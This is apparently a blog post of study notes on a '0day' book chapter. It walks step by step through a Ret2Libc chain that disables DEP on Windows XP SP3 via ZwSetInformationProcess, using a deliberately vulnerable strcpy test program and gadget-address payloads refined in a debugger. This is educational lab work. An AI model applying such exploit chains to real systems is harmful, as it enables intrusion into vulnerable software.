0day 第12章--12.3.1节:Ret2Libc 实战之利用ZwSetInformationProcess

12.3.1 利用Ret2Libc挑战DEP
思想:通过跳转到 ZwSetInformationProcess 函数将DEP关闭后再转入shellcode 执行。

核心:利用LdrpCheckNXCompatibility函数检查SafeDisc来关闭DEP的流程。
在这里插入图片描述
核心是0x7C93CD24行代码,检查al是否等于1,如果等于1则执行关闭DEP的流程。

思路:由于DEP开启,堆栈不能直接写入,因此我们只需要在程序中找到mov al,1这条指令,然后跳转到0x7C93CD24即可。
第一阶段:
1、使用OD插件OllyFindddr DEP->Disable DEP <= XP SP3查找命令:
在这里插入图片描述
2、仍按上述操作通过step2找到mov al,1指令:
在这里插入图片描述
为避免地址截断,我们选择0x7C80C190
3、写好程序,用OD调试,观察:
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<string.h>

char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"
“\x90\xc1\x80\x7c”
“\x24\xcd\x93\x7c”};

int test()
{
printf(“ok”);
char arry[4] = {0};
strcpy(arry,shellcode);
return 0;
}

int main()
{
HMODULE hMod = LoadLibrary(“shell32.dll”);
test();
return 0;
}
4、搜索字符串,在‘ok’处下断点,单步运行,程序正常跳转到0x7C80C190处
在这里插入图片描述
5、单步继续,来到LdrpCheckNXCompatibility函数里面
在这里插入图片描述
在这里插入图片描述
6、但程序没执行几步,就发生了异常。
在这里插入图片描述
这是因为执行到0x7c95f70e处mov dword ptr ss:[ebp-0x4],esi 时,ebp为0x90909090,因为写入异常。

要解决这个异常需要调整ebp的值
第二阶段:
问题:如何使ebp指向一个能够写入的位置呢?这个位置怎么找呢?
答案:通过Push esp POP ebp retn指令将EBP定位到一个可写的位置(和ESP相同的位置)
1、使用OllyFindAddr插件,在Disable DEP <= XP SP3搜索结果的setp3查看符合条件的指令,这里我们选第二个0x5D1D8B85(RET 4指返回之后ESP-8)
在这里插入图片描述
2、于是修改代码:
char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"
“\x90\xc1\x80\x7c”
“\x85\x8b\x1d\x5d”
“\x24\xcd\x93\x7c”};
OD载入运行
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
3、接着跳转到LdrpCheckNXCompatibility函数里面,0x7C95F70E没有报错
在这里插入图片描述
4、继续单步,执行ZwSetInformationAddress函数
在这里插入图片描述
5、继续单步,发现返回地址变成了0x4!这是怎么回事?
在这里插入图片描述
观察,执行ZwSetInformationAddress函数之前
在这里插入图片描述
之后
在这里插入图片描述
这说明因为执行这个函数,导致了shellcode被覆盖。Shellcode覆盖不要紧,大不了不执行嘛,但是LdrpCheckNXCompatibility的返回地址也被覆盖了!这就导致出错!
提问2:为什么会被覆盖呢?
因为shellcode距离ESP太近了,导致栈操作时,shellcode被覆盖!因此,增大栈空间!抬高ESP的值。

第三阶段:
如何抬高ESP的值?
通过RET + N操作(retn之后,ESP+N)
1、通过OllyFindAddr插件中的Overflow return address -> POP RETN+N选项查找相关指令
作者建议Number of pop =1 Number of ret = 0x28
在这里插入图片描述
在搜索过程中,选取指令要求不能对ESP和EBP操作,否则将失去对程序的控制权。这里我们选择0x7C974A19
“\x90\xc1\x80\x7c”
“\x85\x8b\x1d\x5d”
“\x19\x4a\x97\x7c”
“\x24\xcd\x93\x7c”};
2、OD载入,此时ESP=0x0012FF34
在这里插入图片描述
单步,发现ESP变成了0x0012FF3C,相差了8个字节!why?
在这里插入图片描述
这是因为执行retn ESP-4 , 但指令是retn 0x4,因此ESP-8,因此执行完retn 0x28之后的返回地址在0x0012FF3C处!
单步,果然!
在这里插入图片描述
因此在调整ESP大小时要留出4B的大小,
3、更改shellcode
char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"
“\x90\xc1\x80\x7c”
“\x85\x8b\x1d\x5d”
“\x19\x4a\x97\x7c”
“\x41\x41\x41\x41”
“\x24\xcd\x93\x7c”};
OD载入
在这里插入图片描述
单步,果然成功了!
在这里插入图片描述
4、观察调用ZwSetInformationAddress函数前后,shellcode有没有被覆盖
调用之前:
在这里插入图片描述
调用之后:
在这里插入图片描述
没有被覆盖!
单步继续,执行完LdrpCheckNXCompatibility后,程序返回到0x41414141了!
在这里插入图片描述
为什么返回到0x41414141了?也就是为什么ESP会是0x0012FF38而不是0x0012FF3C呢?
因为leave指令= mov esp,ebp pop ebp
当执行leave之前
在这里插入图片描述
所以执行leave之后,esp= 0x0012FF34,然后esp+4 = 0x0012FF38
在执行retn 0x4后,esp+8=0x0012FF40

第四阶段:
一般,这个空档用进程空间中的jmp esp指令地址填充,使得关闭DEP后,shellcode进入堆栈继续执行
1、 使用OllyFindAddr找到jmp esp指令地址0x7DC5C1B4,修改shellcode
在这里插入图片描述
2、char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"
“\x90\xc1\x80\x7c”
“\x85\x8b\x1d\x5d”
“\x19\x4a\x97\x7c”
“\xb4\xc1\xc5\x7d”
“\x24\xcd\x93\x7c”
“\x90\x90\x90\x90”};
OD载入,运行到关闭DEP之前
在这里插入图片描述
单步,来到jmp esp处
在这里插入图片描述
单步,成功!
在这里插入图片描述

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值